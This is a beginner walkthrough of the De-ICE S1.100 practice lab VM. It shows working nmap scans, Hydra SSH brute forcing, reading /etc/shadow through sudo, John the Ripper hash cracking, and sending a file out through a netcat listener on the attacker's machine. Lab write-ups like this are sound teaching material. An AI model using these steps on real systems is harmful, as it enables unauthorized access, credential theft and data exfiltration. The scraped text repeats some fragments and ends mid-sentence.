About De-ICE S1.100 (Level 1)

This machine is very good for those looking to get their teeth into learning some simple penetration testing techniques. It allows newcomers to have a play with some common tools that are used in many penetration tests. In this guide I will to go into some detail to help beginners understand these tools. My aim is to inform you of why a chosen tool was been picked for the task and how to use the tool at a basic level.

Things to Remember

Throughout the guide I will reference several tools. If you wish to find out more about the tool and the options is has available, the following command should aid you. Use it whenever you get stuck with a application.

Example:

```
man <application>
man netdiscover
man nmap
```

If you still find yourself stuck or have questions then crack out Google. Research, take notes, and learn. Do not take short cuts by not reading sections or dismissing stuff you don't understand, you will fail in the long run. People will also be less likely to help you if you've not given a challenge your best shot already.

Setup

Download information and network setup can be found on Vulnhub. I typically recommend running Kali or Backtrack in one virtual machine, then the De-Ice in another. In this guide I use Kali Linux. If you get stuck on setting up your virtual machines check out Vulnhub's comprehensive guide. For this particular machine you will be required to have your attacking box to be in the 192.168.1.xxx network range.

Enumeration

Throughout this blog post I'm going to use this word a lot. In computer security enumeration is the the process of finding out as much information about a target as possible. Sorting through the information to prioritise possible leads which may help with a successful breach. This gathering of information is the key to a successful attack and I cannot stress enough how important this is.

Target Discovery

In our case we can't target the machine yet because we don't know the machine's IP address. Therefore finding the IP is the first task. If the setup of the virtual machine went according to plan you should be able to run the netdiscover command to scan for active IP addresses on the same subnet.

```
root@kali ~$ netdiscover
Currently scanning: 192.168.35.0/16   |   Screen View: Unique Hosts

 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180
 _____________________________________________________________________________
   IP            At MAC Address      Count  Len   MAC Vendor
 -----------------------------------------------------------------------------
 192.168.1.1     00:50:56:c0:00:01    01    060   VMWare, Inc.
 192.168.1.100   00:0c:29:49:2d:4c    01    060   VMware, Inc.
 192.168.1.254   00:50:56:f5:1b:d6    01    060   VMWare, Inc.
```

The command netdiscover sends out ARP (..) requests to locate active machines on a network subnet. ARP is used

```
192.168.1.254   00:50:56:f5:1b:d6    01    060   VMWare, Inc.
```

The command netdiscover sends out ARP (..) requests to locate active machines on a network subnet. ARP is used to aid communication in IP based networked. ARP requests are sent to confirm a nodes MAC address so communication between two machines can occur. This tool is sending out ARP requests for each IP address in each subnet range that is scanned. If a node responds with a MAC address it means that a machine is alive on the requested IP address. This tool also works through switched networks, and when the above command is run you will see it go through multiple subnets to check for active machines.

As you can see we receive a response from three machines. What we now want to do is find out which is our target box. In this case the machine has been hard coded with an IP address (192.168.1.100), but it's good practice to scan all the machines found (which is what you'd do in a real life situation!).

Service Enumeration

The first and arguably the most important part of any penetration test is scanning the machine to find which services are running on it. Some of the questions you will need to answer are:

- What services are running on the target?
- What version are they running?
- Are there any plugins attached to the services?
- What versions are the plugins?
- Are you able to identify any service misconfiguration?
- Is there a web server?
- Is it off the shelf? (wordpress)
- Version?
- Plugins and Versions?
- Misconfigured?

Enumeration is the key! Don't get ahead of yourself by attacking the box the moment you find something that could be exploited. This is the mistake a lot of new comers make and they end up going back to the start.

We are going to use nmap to scan each address. The nmap program is one of the bread and butter applications you need to know about. It has a wide array of functions and options which can be used in different circumstances and situations.

To start with, let's scan the found addresses. We can use a "," to add multiple IP addresses into one scan like so:

```
root@kali ~$ nmap 192.168.1.1,100,254

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-28 20:56 EDT
Nmap scan report for 192.168.1.1
Host is up (0.00030s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:50:56:C0:00:01 (VMware)

Nmap scan report for 192.168.1.100
Host is up (0.00017s latency).
Not shown: 992 filtered ports
PORT    STATE  SERVICE
20/tcp  closed ftp-data
21/tcp  open   ftp
22/tcp  open   ssh
25/tcp  open   smtp
80/tcp  open   http
```

```
22/tcp  open   ssh
25/tcp  open   smtp
80/tcp  open   http
110/tcp open   pop3
143/tcp open   imap
443/tcp closed https
MAC Address: 00:0C:29:49:2D:4C (VMware)

Nmap scan report for 192.168.1.254
Host is up (0.000058s latency).
All 1000 scanned ports on 192.168.1.254 are filtered
MAC Address: 00:50:56:F5:1B:D6 (VMware)

Nmap done: 3 IP addresses (3 hosts up) scanned in 21.75 seconds
```

As you can see from scanning 192.168.1.1, 192.168.1.100 and 192.168.1.254 we have found what looks like to be our target machine. The default nmap scan checks1000 ports out of the 65535 total, it also shows what the default application that runs on that port is. To get more specific we can run a more comprehensive nmap command for 192.168.1.100:

```
root@kali ~$ nmap -sS -Pn -sV -O -p 20,21,22,25,80,110,143,443 192.168.1.100

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-28 21:37 EDT
Nmap scan report for 192.168.1.100
Host is up (0.00026s latency).
PORT    STATE  SERVICE  VERSION
20/tcp  closed ftp-data
21/tcp  open   ftp      vsftpd (broken: could not bind listening IPv4 socket)
22/tcp  open   ssh      OpenSSH 4.3 (protocol 1.99)
25/tcp  open   smtp?
80/tcp  open   http     Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
110/tcp open   pop3     Openwall popa3d
143/tcp open   imap     UW imapd 2004.357
443/tcp closed https
MAC Address: 00:0C:29:49:2D:4C (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.13 - 2.6.32
Network Distance: 1 hop
Service Info: OS: Unix

OS and Service detection performed. Please report any incorrect results at http://nmap.org/subm
it/ .
Nmap done: 1 IP address (1 host up) scanned in 183.57 seconds
```

Let’s breakdown the options used:

- -sS This is the default scan method for nmap. It’s called a SYN scan. When a machine wishes to communicate with another machine using TCP they must complete the TCP handshake. Nmap sends a SYN TCP packet to the target address, if the target responds with the SYN ACK packet, the port is determined as open. Nmap will not complete the handshake by sending the ACK packet back to the target, so it’s moderately stealthy.
- -Pn This wasn’t needed in this instance but I generally include it with single scan. This option skips nmap’s host discovery. When performing a scan across multiple IPs map will split the targets up according how “active” they are deemed to be from an initial response. Disabling this option omits the initial scan and

host discovery. When performing a scan across multiple IPs map will split the targets up according how “active” they are deemed to be from an initial response. Disabling this option omits the initial scan and proceeds to run all options against the given IP address range.

- -sV This option probes open ports for more information to help identify the service and the version.
- -O Operating System Detection. In this case we know that that the target is a Linux based OS already. However it doesn’t hurt to run with this option just for practice. This mode sends multiple TCP and UDP packets to the target. These results are cross referenced with a database of collected signatures to help identify the operating system of the machine. Be warned, these results can be misleading at times.
- -p It is often prudent to do an initial scan across a range of IP addresses to pick out the running ports (like we did in our first nmap scan) then target the found open ports in another more intrusive scan. For this command the ports are listed afterwards separated by commas.

We now have a list of ports open, and an almost complete list of services and version numbers. What might be confusing here is that some ports are listed as closed. Wait, surely ports wouldn’t be listed if they are closed? Well actually what nmap is saying is that the port itself is open, but there is no application listening on the port to communicate with.

Before we compile our list so far I wanted to cover off something else quickly that can often reveal more information about a target. Let’s scan again with the-A option:

```
root@kali ~$ nmap -sS -Pn -sV -O -A -p 20,21,22,25,80,110,143,443 192.168.1.100

Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-28 21:42 EDT
Nmap scan report for 192.168.1.100
Host is up (0.00021s latency).
PORT    STATE  SERVICE  VERSION
20/tcp  closed ftp-data
21/tcp  open   ftp      vsftpd (broken: could not bind listening IPv4 socket)
22/tcp  open   ssh      OpenSSH 4.3 (protocol 1.99)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
|_sshv1: Server supports SSHv1
25/tcp  open   smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp  open   http     Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html).
110/tcp open   pop3     Openwall popa3d
143/tcp open   imap     UW imapd 2004.357
| imap-capabilities:
|_  ERROR: Failed to connect to server
443/tcp closed https
MAC Address: 00:0C:29:49:2D:4C (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.13 - 2.6.32
Network Distance: 1 hop
Service Info: OS: Unix

TRACEROUTE
HOP RTT     ADDRESS
1   0.21 ms 192.168.1.100

OS and Service detection performed. Please report any incorrect results at http://nmap.org/subm
it/ .
Nmap done: 1 IP address (1 host up) scanned in 193.72 seconds
```

```
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submi
it/ .
Nmap done: 1 IP address (1 host up) scanned in 193.72 seconds
```

As you can see the -A option does some additional enumeration on the ports and also gives us a traceroute to the target. In fact, -A enables a lot of things. -A enables OS detection (-O), version detection (-sV), script scanning (-sC) and traceroute (—traceroute). Traceroute simply shows the path that is taken to the target server. Script scanning makes use of nmaps scripting engine to probe ports for more information. For example, in the above scan result we can see that the title of the web page on port 80 has been returned to us, it also helps us see that there could be a problem with the mail server on port 25, FTP server on port 21 and the IMAP service on port 143. Using scripts can be useful like this, especially when you are targeting a single machine or a handful. Using scripts on a large scan can increase the scan time and amount of information to sort through.

Running services:

- Port 21 FTP vstfpd Version ?
- Port 22 SSH OpenSSH Version 4.3
- Port 25 SMTP Service? Version ?
- Port 80 HTTP Apache Version 2.0.55 (Also running PHP version 5.1.2)
- Port 110 POP3 Openwall popa3d Version ?
- Port 143 IMAP UW Imapd 2004.357

So it looks like we are missing some versions numbers. Is that important? It sure is as one of these services might be vulnerable. However, without knowing what versions are running we would be firing random exploits at them which is time consuming and often unreliable.

Banner Grabbing and Finger Printing

I am adding a small section here to cover off these two terms as they should be learnt by the novice penetration tester. When doing a comprehensive scan with nmap (particular with the -sV option) nmap will probe open ports to build a finger print of the service. This finger print is then compared a ever growing database of fingerprints in order to try and match the port up to a service and running version. This act of port probing to retrieve a service name and version is finger printing.

Banner grabbing is essentially part of the finger printing process. It can be done manually and it's worth learning how to do this in some cases. Often, when connecting to a service, a message will be transmitted displaying the service name and possibly version number. This connecting and viewing is used by nmap to help determine the fingerprint of a service. Of course this will only be easily done by a user when connecting to a port running a text based protocol.

As an example we are going to use the program netcat to banner grab the HTTP port. Netcat is known as the Swiss army knife for TCP/UDP connection. It is a tool that is able to read and write to network connections using the TCP or UDP protocol. Learning the complete uses of this tool is out of the scope of this article, but I do suggest you do some research on the tool if it's new to you. More can be read about netcat here and here.

Below shows one possibility of banner grabbing the target machines web port.

```
root@kali ~$ nc -nvv 192.168.1.100 80
(UNKNOWN) [192.168.1.100] 80 (http) open
HEAD / HTTP/1.1

HTTP/1.1 400 Bad Request
Date: Mon, 12 Aug 2013 22:43:50
Server: Apache/2.0.55 (Unix) PHP/5.1.2
Connection: close
Content-Type: text/html; charset=iso-8859-1
```

Let's break the process down:

Let's break the process down:

```
nc -nvv 192.168.1.100 80
```

Using netcat, connect to 192.168.1.100 on port 80 The option n states that only IP addressing will be used, no DNS The option vv makes netcat provide extra verbosity

```
(UNKNOWN) [192.168.1.100] 80 (http) open
```

Once the connection has been established the above message will be shown

```
HEAD / HTTP/1.1
```

HEAD is the HTTP command which requests only the pages header, not the full body / indicates the main page of the site, or the root location of a site HTTP/1.1 defines the HTTP version to make the request with There must be two carriage returns to submit a command in a HTTP request (press ENTER/RETURN twice) The returned response shows a web server version (Apache/2.0.55), the type of system that it has been compiled for (Unix) and even the PHP version that is running on the machine (PHP/5.1.2). It's worth noting at this point that any competent system administrator could alter any banners running by services to mask their true versions or even service types.

Other HTTP header fields are returned such as Date and Content-Type. Learning about HTTP header fields is a must. I recommend doing some quick googling and reviewing the different types and what they do. Headers of interest are: User-Agent, Content-Type, Cookie, Referrer.

Website Enumeration

Enumerating web applications is as MASSIVE area. I recommend reading the Web Application Hackers Handbook 2nd Edition for an in depth look at web applications and how to tackle them. Fortunately we can find some very useful on the target machine's website without having to look far. The http://192.168.1.100/
page contains some information about the vulnerable machine. At the bottom of the page there is a link to Game Related Pages. This page contains some information about the fake company.

Using the information provided you can compile a list of e-mail addresses:

```
marym@herot.net
patrickp@herot.net
thompsont@herot.net
benedictb@herot.net
genniege@herot.net
michaelp@herot.net
longe@herot.net
adamsa@herot.net
banterb@herot.net
coffeec@herot.net
```

You can also compile a list of possible user names (not forgetting some default ones):

```
webmaster
postmaster
admin
administrator
guest
root
marym
```

```
guest
root
marym
mmary
mary
patrickp
ppatrick
patrick
thompsont
tthompson
thompson
benedictb
bbenedict
benedict
genniege
egennieg
gennieg
michaelp
pmichael
michael
longe
elong
long
adamsa
aadams
adams
banterb
bbanter
banter
coffeec
ccoffee
coffee
```

Gathering such information is essential when profiling an organisation. With a large user name list, it's possible to do large scale login attempts where for each user, a login attempt is tried once or twice with two different passwords. These passwords are used for each account tested. In very large organisations it is likely that a popular password will be used by at least one user.

Attacking the Box

Now we have armed ourselves with information about the machine let's run through what we know and attempt to find possible ways into the system.

Searching for exploits can be done in many ways. In this case using Kali gives a newcomer a couple of options: the searchsploit command and Metasploit. The searchsploit command searches through the exploit-db database that is stored locally on Kali. Searching for exploits on Metasploit can be achieved by first running the program with msfconsole then running the search command. As well as using these commands the Internet is also a valuable place to check for exploits that are not in exploitdb or do not have metasploit modules written for them. Remember to be thorough when searching for exploits. As this isn't a perfect world, and there is no naming convention, some exploits listed will effect previous versions and may not appear in your initial search results. It may be worth double checking on various vulnerability listing websites to check if the version of the found service is vulnerable. CVE Details is a nice site that is generally good at checking for vulnerabilities.

Searchsploit example:

```
root@kali ~$ searchsploit openssh 4.3
```

```
root@kali ~$ searchsploit openssh 4.3

Description                                                                  Path
------------------------------------------------------------------------------ ------------------
------
OpenSSH <= 4.3 p1 (Duplicated Block) Remote Denial of Service Exploit       /multiple/dos/2444.
sh
```

Metasploit example:

```
root@kali ~$ msfconsole -q

msf > search openssh

Matching Modules
================

   Name                                        Disclosure Date  Rank       Description
   ----                                        ---------------  ----       -----------
   exploit/windows/local/trusted_service_path  2001-10-25       excellent  Windows Service Trus
ted Path Privilege Escalation
   post/multi/gather/ssh_creds                                  normal     Multi Gather OpenSSH
 PKI Credentials Collection
```

Port 21 FTP – vstfpd – Version ? From the nmap scan it seems that the service is failing to run correctly so it will unlikely be exploitable Port 22 SSH – OpenSSH – Version 4.3 Only denial of service exploits found Port 25 SMTP – Service? – Version ? Port doesn't seem to interect with manual commands reference. You can confirm this later with banner grabbing and finger printing techniques Port 80 HTTP – Apache – Version 2.0.55 – PHP version 5.1.2 No suitable exploits found Port 110 POP3 – Openwall popa3d – Version ? Unable to finger print server for exact version Port 143 IMAP – UW Imapd 2004.357 Unable to finger print server for exact version So we couldn't make much progress in exploiting the servers for remote access. We can however revert to the information we pulled off the website. Using a brute forcing program we can enumerate some of the active services on the machine and see if we can gain access. Hydra is a great program for this sort of task. It is able to brute force a wide variety of common protocols quickly and has a threading option to increase speed.

```
root@kali ~$ hydra -L users.txt -P users.txt 192.168.1.100 ssh
Hydra (http://www.thc.org/thc-hydra) starting at 2013-08-12 20:22:25
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting,
you have 10 seconds to abort...
[DATA] 16 tasks, 1 server, 1369 login tries (l:37/p:37), ~85 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 110.00 tries/min, 110 tries in 00:01h, 1259 todo in 00:12h, 6 active
[STATUS] 87.67 tries/min, 263 tries in 00:03h, 1106 todo in 00:13h, 6 active
[STATUS] 84.86 tries/min, 594 tries in 00:07h, 775 todo in 00:10h, 6 active
  [22][ssh] host: 192.168.1.100   login: bbanter   password: bbanter
[STATUS] 86.67 tries/min, 1040 tries in 00:12h, 329 todo in 00:04h, 6 active
```

After a while you will see that the scan picked up an account using their name as a password. Before we rush ahead, let's quickly break down the hydra command:

- -L users.txt – User names to test
- -P users.txt – Passwords to test, in this case we are checking to see if users have used theirs (or anyone else's) user names as passwords
- 192.168.1.100 – The target IP address
- ssh – The target protocol

else's) user names as passwords
- 192.168.1.100 – The target IP address
- ssh – The target protocol

Now we are armed with a user name and password that we can use to SSH into the target machine. When prompted for a password, enter bbanter .

```
root@kali ~$ ssh bbanter@192.168.1.100
```

So we're in the machine, what now? Well this is where more enumeration is required. I will explain some of the important commands to gather information about the target. The goal here is to profile the machine from the inside and prioritise where it might be good to start targeting. My favourite reference for Linux privilege escalation is by g0tmi1k. Please be aware that these commands may not work for every distribution of Linux. My suggestion here is to run the commands and see what you get. For some more work and self learning try running a few more from the guide I linked above. This process can be pain stacking but it is normal. Power through!

To start with it's good to see what kernel version is running. This could lead us onto a privilege escalation exploit depending on the version returned:

```
bbanter@slax:~$ uname -a
```

It's good to list what processes are running as it helps select possible entry points in the system.

```
bbanter@slax:~$ ps aux
```

Processes running as root are good to identify as comprising one of these may give you root access over the machine:

```
bbanter@slax:~$ ps aux | grep
```

Finding out what ports are open and what programs are listening on them can assist in finding a service to exploit. However identifying the service listening often requires root access. It's worth a look though:

```
bbanter@slax:~$ netstat -antup
```

Finding out what other users are on the system may assist in getting in again, but with elevated privileges:

```
bbanter@slax:~$ cat /etc/passwd
```

Finding out about the user groups on the system can also be useful for identifying users with sudo access.

```
bbanter@slax:~$ cat /etc/group
```

If you have access, running the following command will output the shadow file of the system, this is a user list with their respective password hashes. This often requires root to run:

```
bbanter@slax:~$ cat /etc/shadow
```

Generally speaking this user is pretty well locked down. The kernel version has some vulnerabilities but nothing that will give us access to root. The useful output is from the following commands:

```
bbanter@slax:~$ cat /etc/passwd
root:x:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
```

```
root:x:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:
aadams:x:1000:10:,,,:/home/aadams:/bin/bash
bbanter:x:1001:100:,,,:/home/bbanter:/bin/bash
ccoffee:x:1002:100:,,,:/home/ccofe:/bin/bash
bbanter@slax:/home/aadams$ cat /etc/group
root::0:root
bin::1:root,bin,daemon
daemon::2:root,bin,daemon
sys::3:root,bin,adm
adm::4:root,adm,daemon
tty::5:
disk::6:root,adm
lp::7:lp
mem::8:
kmem::9:
wheel::10:root
floppy::11:root
mail::12:mail
news::13:news
uucp::14:uucp
man::15:
audio::17:
video::18:
cdrom::19:
games::20:
slocate::21:
utmp::22:
smmsp::25:smmsp
mysql::27:
rpc::32:
sshd::33:sshd
gdm::42:
shadow::43:
ftp::50:
pop::90:pop
scanner::93:
nobody::98:nobody
```

```
pop::90:pop
scanner::93:
nobody::98:nobody
nogroup::99:
users::100:
console::101:
```

So from these commands we can determine the following: bbanter and ccoffee are part of the users group aadams is part of the wheel group Users seems like a pretty standard group, but what about wheel? The wheel group historically gives users access to to restricted commands. This group in modern UNIX systems (such as Linux) gives users access to the su and sudo commands in order to run commands as the root user. This means out of the users we have the potential of getting into, aadams is more favourable.

We can use hydra again with a few extra options. The main difference here is that we will be using a more comprehensive word list that covers a lot of common passwords.

```
root@kali ~$ hydra -l aadams -P /usr/share/wordlists/rockyou.txt -e nsr -u -t 128 192.168.1.100
 ssh
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-08-13 23:55:47
[DATA] 128 tasks, 1 server, 14344401 login tries (l:1/p:14344401), ~112065 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 438.00 tries/min, 438 tries in 00:01h, 14343963 todo in 545:49h, 128 active
[STATUS] 386.00 tries/min, 1158 tries in 00:03h, 14343243 todo in 619:19h, 128 active
[STATUS] 354.00 tries/min, 2478 tries in 00:07h, 14341923 todo in 675:14h, 128 active
[STATUS] 349.27 tries/min, 5239 tries in 00:15h, 14339162 todo in 684:16h, 128 active
[STATUS] 339.68 tries/min, 10530 tries in 00:31h, 14333871 todo in 703:19h, 128 active
[STATUS] 338.70 tries/min, 15919 tries in 00:47h, 14328482 todo in 705:05h, 128 active
[STATUS] 338.40 tries/min, 21319 tries in 01:03h, 14323082 todo in 705:27h, 128 active
[STATUS] 338.97 tries/min, 26779 tries in 01:19h, 14317622 todo in 703:59h, 128 active
[STATUS] 338.73 tries/min, 32179 tries in 01:35h, 14312222 todo in 704:14h, 128 active
[22][ssh] host: 192.168.1.100   login: aadams   password: nostradamus
```

This hydra command is a bit more complex to look at but it's pretty straight forward:

- -l aadams Where aadams is the user we're testing
- -P /usr/share/wordlists/rockyou.txt This is a really good word list full of common base words and common passwords. It is shipped with Kali by default.
- -u This option makes hydra check each password for each user, rather than checking every password for each user. It's more effective than doing one user at a time.
- -t 128 This is how many threads you want hydra to create. Increasing this value can give you some more speed when brute forcing as you can run multiple attacks in parallel.
- -n esr This parameter enables a couple of options:
    - n test for null password
    - s test password the same as the user name
    - r reversed login as password
- 192.168.1.100 – The target IP address
- ssh – The target protocol

We can now login to aadams with the password nostradamus.

```
root@kali ~$ ssh aadams@192.168.1.100
```

Again we need to enumerate this user and see what we can find out. Try running the commands from before and check the outputs.

Again we need to enumerate this user and see what we can find out. Try running the commands from before and check the outputs.

The command that should have shown something interesting should have been:

```
aadams@slax:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

Password:
User aadams may run the following commands on this host:
    (root) NOEXEC: /bin/ls
    (root) NOEXEC: /usr/bin/cat
    (root) NOEXEC: /usr/bin/more
    (root) NOEXEC: !/usr/bin/su *root*
```

So what does this tell us? It means that aadams has sudo access on the machine, meaning running commands as root. Remember before when we tried to view the shadow file and we had a denied message? Well let's try that again with sudo:

```
aadams@slax:~$ sudo cat /etc/shadow
Password:
root:$1$TOi0HE5n$j3obHaAlUdMbHQnJ4Y5Dq0:13553:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
aadams:$1$6cP/ya8m$2CNF8mE.ONyQipxlwjp8P1:13550:0:99999:7:::
bbanter:$1$hl312g8m$Cf9v9OoRN062STzYiWDTh1:13550:0:99999:7:::
ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7:::
```

Great! We now have hashes of the users on the system. Our main target is to gain root access on the machine, so to do this we need to find out what the root password is.

Password Cracking So now we have the hashes for the users on the system, we can use a widely used program

to do this we need to find out what the root password is.

Password Cracking So now we have the hashes for the users on the system, we can use a widely used program called John the Ripper to try and crack them.

Before we start you might be thinking what's a hash? A hash is a one way form of encryption. You take an input value, push it through a hashing algorithm and out comes a value that should be irreversible. The way password hashes are cracked is by taking possible passwords, pushing them through the required algorithm, and see if the hash generated matches the hash you are trying to crack.

Firstly let's prepare by making a file containing the hashes we wish to crack. To do this we can use an inline technique that can also be used to transfer files easily from your machine into your target shell.

```
root@kali ~$ cat > hashes.txtroot:$1$TOi0HE5n$j3obHaAlUdMbHQnJ4Y5Dq0:13553:0:::::aadams:$1$6cP/
ya8m$2CNF8mE.ONyQipxlwjp8P1:13550:0:99999:7:::
bbanter:$1$hl312g8m$Cf9v9OoRN062STzYiWDTh1:13550:0:99999:7:::
ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7:::
^D
```

This form of cat command is creating a new file called hashes.txt. The input of the file comes afterwards where you simply type in the rest of the contents. The ^D is not typed, but represents the pressing CTRL+D. This closes the file that has been open for writing.

Now that our hashes are in a file locally let's run john to try and crack them. You might be thinking "Hey! We know two of these already?" We are going to leave them in there for some practice!

The first command we are going to use john's single mode. This mode loads the rules from the Single rule set in johns configuration file. You can look at these if you want to, but understanding them is out of the scope of this particular article. If you want to check it out you can find the file at /etc/john/john.conf. Simply put, this mode attempts to create passwords based on simple and common rules to guess hashed passwords.

It's worth mentioning that john is able to interpret shadow files in their raw format. Hash type detection and the use of user names in the system are done dynamically by john. Other password cracking tools are not so friendly so it's worth being aware that you may need to extract each hash from shadow files and other hash dumps when using other tools.

```
root@kali ~$ john -single -pot:deice.pot hashes.txt

Loaded 4 password hashes with 4 different salts (FreeBSD MD5 [128/128 SSE2 intrinsics 12x])
bbanter          (bbanter)
guesses: 1  time: 0:00:00:00 DONE (Thu Aug 15 11:38:46 2013)  c/s: 24122  trying: root1907 - ro
ot1900
Use the "--show" option to display all of the cracked passwords reliably
```

As you can see john quickly cracked bbanter's password as it was the same as their user name. Here's a quick breakdown of the command:

- -single – enable simple rule set for guessing passwords
- -pot:deice-pot – A pot file is the jargon used to describe a file containing cracked passwords. The contents is usually stored as hash:password. This file will hold our cracked passwords for this exercise
- hashes.txt – the file of un-cracked passwords we made earlier

The -single option is only so good. It will not be able to generate meaningful passwords that some users will use. This is where we will use the rockyou.txt word list once again to try and crack the remaining hashes.

```
root@kali ~$ john -wordlist:/usr/share/wordlists/rockyou.txt -pot:deice.pot hashes.txt

Loaded 4 password hashes with 4 different salts (FreeBSD MD5 [128/128 SSE2 intrinsics 12x])
```

```
root@kali ~$ john -wordlist:/usr/share/wordlists/rockyou.txt -pot:deice.pot hashes.txt

Loaded 4 password hashes with 4 different salts (FreeBSD MD5 [128/128 SSE2 intrinsics 12x])
Remaining 3 password hashes with 3 different salts
nostradamus      (aadams)
tarot            (root)
hierophant       (ccoffee)
guesses: 3  time: 0:00:01:09 DONE (Thu Aug 15 11:55:59 2013)  c/s: 29217  trying: hieuloan - hi
eper
Use the "--show" option to display all of the cracked passwords reliably
```

The -wordlist:/usr/share/wordlists/rockyou.txt is the only parameter different here (swapped out for -single). It simply points to where the word list to be used is located and enables the word list attack method.

So we now have passwords for all the users on the system! Is that it? Well no! Having root access is great, but it doesn't mean anything to a company that you might be testing. They will want to be told something a bit less technical like: "I was able to compromise your server and gain access to confidential files.". So, let's try and do that!

Hunting for Treasure

```
Let's try and log into the root account over SSH. SSH is commonly configured so that root can n
ot be logged into remotely. But let's confirm that.
root@kali ~$ ssh root@192.168.1.100

root@192.168.1.100's password:
Permission denied, please try again.
root@192.168.1.100's password:
Permission denied, please try again.
root@192.168.1.100's password:
Permission denied (publickey,password,keyboard-interactive).
```

As we can see it doesn't seem to want to let us in that way, but it doesn't matter, we can use the switch user command (su) on aadams to get to root:

```
root@kali ~$ ssh aadams@192.168.1.100
                                    255 â†µ
aadams@192.168.1.100's password:
Linux 2.6.16.
aadams@slax:~$ su root
Password: *****
root@slax:/home/aadams#
```

So we are now running as root and have the run of the entire system. So let's hunt around for any files that might look interesting.

A good place to start is in the user's (and root's) home directories. It is a common place for storing files and the most likely place to find something interesting. Let's run the following commands:

```
root@slax:/home/aadams# ls -lsaRhS /root/
root@slax:/home/aadams# ls -lsaRhS /home/
```

Here we are making use of the ls command (the equivalent of dir in windows) to list the the contents of these directories. The options used mean:

- l – show the results in a list format which displays permissions and ownership
- s – display the size of the file

- l – show the results in a list format which displays permissions and ownership
- s – display the size of the file
- a – display all files and directories, including hidden files and folders (files and folders starting with a .)
- R – go through all folders recursively and list their contents too
- h – make the file sizes human readable rather than in block format (4KB, 2GB etc)
- S – sort by file size

I'm not going to paste the entire outputs of both commands due to size, but the following excerpt from enumerating the /home/ directory should show something interesting:

```
/home/ftp/incoming:
total 140K
140K -r-xr-xr-x 1 root root 130K Jun 29  2007 salary_dec2003.csv.enc
   0 dr-xr-xr-x 2 root root   80 Jun 29  2007 .
   0 drwx------ 3 root root   60 Jun 29  2007 ..
```

What's this? An encrypted file? It is likely that this is the sort of treasure we are looking for. Let's use netcat to transfer the file of of the machine. To do this we need to create a listener on our machine and pipe the traffic from the input into a file:

```
root@kali ~$ nc -lvvp 4444 > salary_dec2003.csv.enc
```

A quick run down of this command:

- l – State that we are going to be listening
- vv – Show extra verbosity
- p – We are going to supply a port for listening
- 4444 – This is the port will be listening on

Back on the ssh session of the target machine we are going to transfer the file through netcat to the listening port on our local machine:

```
root@slax:/home/aadams# cd /home/ftp/incoming/
root@slax:/home/ftp/incoming# nc -nvv 192.168.1.141 4444 < salary_dec2003.csv.enc
```

Be aware that netcat will not tell you once the file has finished transferring. It is a good idea to open another shell and do ls -ls salary_dec2004.csv.enc to check when the file has stopped increasing in size. Here is the output from both of the netcat commands:

On target system:

```
root@slax:/home/aadams# cd /home/ftp/incoming/
root@slax:/home/ftp/incoming# nc -nvv 192.168.1.141 4444 < salary_dec2003.csv.enc
(UNKNOWN) [192.168.1.141] 4444 (krb524) open
 sent 133056, rcvd 0
```

On local system:

```
root@kali ~$ nc -lvvp 4444 > salary_dec2003.csv.enc

listening on [any] 4444 ...
192.168.1.100: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.1.141] from (UNKNOWN) [192.168.1.100] 45972
 sent 0, rcvd 133056
```

Great we have the file, let's check to see if it's actually an encrypted file. We can use the file command on linux to

```
